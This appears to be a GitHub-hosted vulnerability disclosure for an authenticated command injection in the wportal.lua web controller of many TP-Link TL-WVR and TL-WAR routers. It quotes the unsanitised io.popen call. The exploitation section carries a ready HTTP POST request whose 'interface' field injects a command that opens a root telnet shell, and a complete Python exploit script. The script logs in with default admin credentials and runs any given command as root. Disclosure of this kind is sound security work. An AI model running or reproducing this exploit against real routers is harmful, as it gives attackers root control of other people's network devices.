Skip to content
Permalink
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time
[Vulnerability]:
Command Injection in wportal.lua
------------------------------------------
[Exploitation]:
Can remote command execution on the root shell.
------------------------------------------
[Vendor of Product]:
Tp-Link router
------------------------------------------
[Affected Products and firmware version]:
Tp-Link TL-WVR450L (ALL the hardware version and firmware version)
Tp-Link TL-WVR458L (ALL the hardware version and firmware version)
Tp-Link TL-WVR900L (ALL the hardware version and firmware version)
Tp-Link TL-WVR1200L (ALL the hardware version and firmware version)
Tp-Link TL-WVR1300L (ALL the hardware version and firmware version)
Tp-Link TL-WVR1750L (ALL the hardware version and firmware version)
Tp-Link TL-WVR2600L (ALL the hardware version and firmware version)
Tp-Link TL-WVR4300L (ALL the hardware version and firmware version)
Tp-Link TL-WAR450L (ALL the hardware version and firmware version)
Tp-Link TL-WAR458L (ALL the hardware version and firmware version)
Tp-Link TL-WAR900L (ALL the hardware version and firmware version)
Tp-Link TL-WAR1200L (ALL the hardware version and firmware version)
Tp-Link TL-WAR1300L (ALL the hardware version and firmware version)
Tp-Link TL-WAR1750L (ALL the hardware version and firmware version)
Tp-Link TL-WAR2600L (ALL the hardware version and firmware version)
------------------------------------------
[Attack Type]:
Remote
------------------------------------------
[Reference]:
http://service.tp-link.com.cn/download/201612/TL-WVR450L%20V1.0%E5%8D%87%E7%BA%A7%E8%BD%AF%E4%BB%B620161125.zip (Official firmware for TL-WVR450L)
http://www.tp-link.com.cn/product_listsmb_2008_26_00_01_02_03_04.html
------------------------------------------
[Discoverer]:
Zhaoxin Li, Chengdu Tongjin Middle School
------------------------------------------
[Affected components]:
Affected executable application: uhttpd
Affected source code file: /usr/lib/lua/luci/controller/admin/wportal.lua
Affected function: get_device_byif(iface)
------------------------------------------
[Vulnerability details]:
After the web login Authentication, When accessing the wportal.lua through the web manager(uhttpd),
we can add a wechat data entry by the controller function add_wechat(http_form).
During this operation, it doesn't limit and check the value of the parameter "interface" in http post data.
And in the wportal.lua, it defines the local function get_device_byif(iface) to handle input http post data "interface".
step1. http post to wportal.lua and make form=wechat, method=add
step2. --> local function add_wechat(http_form)
step3. --> local function constructWechatEntry(jdata,interface)
step4. --> local function get_device_byif(iface)
local function get_device_byif(iface)
local mycmd = ". /lib/zone/zone_api.sh; zone_get_device_byif " .. iface
ff = io.popen(mycmd, "r")
if not ff then
return false
end
local ll = ff:read("*l")
if not ll then
return false
end
local ret = string.gsub(tostring(ll), "%s.*", "")
return ret
end
So, we can see the local function get_device_byif doesn't have any check and limit to the input parameter,
and it will use the io.popen to execute the shell command which include the value of the parameter "interface" in http post data.
------------------------------------------
[Exploitation details]:
Because access to the wportal.lua requires web authentication,so it needs the web login credentials, or a session hijack vulnerability,
or a weak credentials brute force attack to get access permissions for the wportal.lua at first.
And then, we can use this Authenticated Remote Command Execution vulnerability to execute any command on the root shell.
For example, we can send a http post request like:
POST /cgi-bin/luci/;stok=5e2bd3d2d19d61207bcdfc7e85f6010c/admin/wportal?form=wechat HTTP/1.1
Host: 192.168.3.1
Content-Length: 405
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.3.1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.3.1/webpages/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: sysauth=b1f57e85f01660b0fafbf9f057af23df
Connection: close
data=%7B%22method%22%3A%22add%22%2C%22params%22%3A%7B%22new%22%3A%7B%22name%22%3A%22exploit%22%2C%22enable%22%3A%220%22%2C%22freeInterval%22%3A0%2C%22authToken%22%3A%220%22%2C%22publicName%22%3A%220%22%2C%22wechatInfo%22%3A%220%22%2C%22copyright%22%3A%220%22%2C%22jumpPageType%22%3A%220%22%2C%22pcfree%22%3A%220%22%2C%22remoteUrl%22%3A%220%22%2C%22interface%22%3A%22%3Btelnetd+-p+28+-l+/bin/sh%22%7D%7D%7D
Finally, this http post request packet will make the router execute the command "telnetd -p 28 -l /bin/sh".
------------------------------------------
[exp.py]:
# Tested product: TL-WVR450L
# Hardware version:V1.0
# Firmware version: 20161125
# The RSA_Encryption_For_Tplink.js is use for Rsa Encryption to the password when login the web manager.
# You can download the RSA_Encryption_For_Tplink.js by https://github.com/coincoin7/Wireless-Router-Vulnerability/blob/master/RSA_Encryption_For_Tplink.js
import execjs
import requests
import json
import urllib
def read_js():
file = open("./RSA_Encryption_For_Tplink.js", 'r')
line = file.readline()
js = ''
while line:
js = js + line
line = file.readline()
file.close()
return js
def execute(ip, port, username, passwd, cmd):
try:
s = requests.session()
uri = "http://{}:{}".format(ip,port)
headers = {
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'Referer': 'http://{}/webpages/login.html'.format(ip)
}
payload = {
"method":"get"
}
ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
rsa_public_n = json.loads(ret.text)['result']['password'][0].encode("utf-8")
rsa_public_e = json.loads(ret.text)['result']['password'][1].encode("utf-8")
js = read_js()
js_handle = execjs.compile(js)
password = js_handle.call('MainEncrypt', rsa_public_n, rsa_public_e, passwd)
payload = {
"method":"login",
"params":{
"username":"{}".format(username),
"password":"{}".format(password)
}
}
ret = s.post(uri + '/cgi-bin/luci/;stok=/login?form=login', data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
stok = json.loads(ret.text)['result']['stok'].encode('utf-8')
cookie = ret.headers['Set-Cookie']
print '[+] Login success'
print '[+] Get The Token: ' + stok
print '[+] Get The Cookie: ' + cookie
headers = {
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
'Referer':'http://{}/webpages/login.html'.format(ip),
'Cookie':'{}'.format(cookie)
}
payload = {
"method":"add",
"params":{
"new":{
"name":"exploit",
"enable":"0",
"freeInterval":"0",
"authToken":"0",
"publicName":"0",
"wechatInfo":"0",
"copyright":"0",
"jumpPageType":"0",
"pcfree":"0",
"remoteUrl":"0",
"interface":";{}".format(cmd)
}
}
}
ret = s.post(uri + '/cgi-bin/luci/;stok={}/admin/wportal?form=wechat'.format(stok), data=urllib.urlencode({"data":json.dumps(payload)}), headers=headers, timeout=5)
#print ret.text
print '[+] Finish RCE'
print '--------------------------------------------------------------'
return True
except:
return False
if __name__=='__main__':
print '-----------Tplink LUCI Wechat Authenticated RCE-----------'
print execute('192.168.3.1', 80, 'admin', 'admin', 'telnetd -p 28 -l /bin/sh')